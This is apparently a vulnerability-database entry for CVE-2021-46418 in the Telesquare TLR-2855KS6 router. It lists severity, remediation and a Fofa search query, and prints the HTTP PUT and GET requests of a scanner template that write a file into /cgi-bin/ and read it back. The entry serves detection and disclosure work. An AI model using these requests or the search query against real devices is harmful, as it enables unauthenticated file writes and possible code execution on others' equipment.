| Title | Telesquare TLR-2855KS6 - Arbitrary File Creation |
|---|---|
| Author | DhiyaneshDK |
| Severity | High |
| Impact | Unauthenticated attackers can create arbitrary files including CGI scripts via HTTP PUT requests, potentially achieving remote code execution. |
| Remediation | Apply firmware updates provided by Telesquare or restrict HTTP PUT access to the device. |
| CVSS Score | 7.5 |
| EPSS Score | 0.63051 |
| CVE ID | CVE-2021-46418 |
| Fofa Query | product=="TELESQUARE-TLR-2855KS6" |
| Tags | packetstorm cve cve2021 telesquare intrusive vuln |
An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts.
PUT /cgi-bin/UsQzXiWY.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15
Connection: close
Content-Length: 27
Accept-Encoding: gzip
38FPMI25zgM10JpnHbtjJnfcu4k
GET /cgi-bin/UsQzXiWY.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:105.0) Gecko/20100101 Firefox/105.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46418.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-46418.pcap
N/AN/A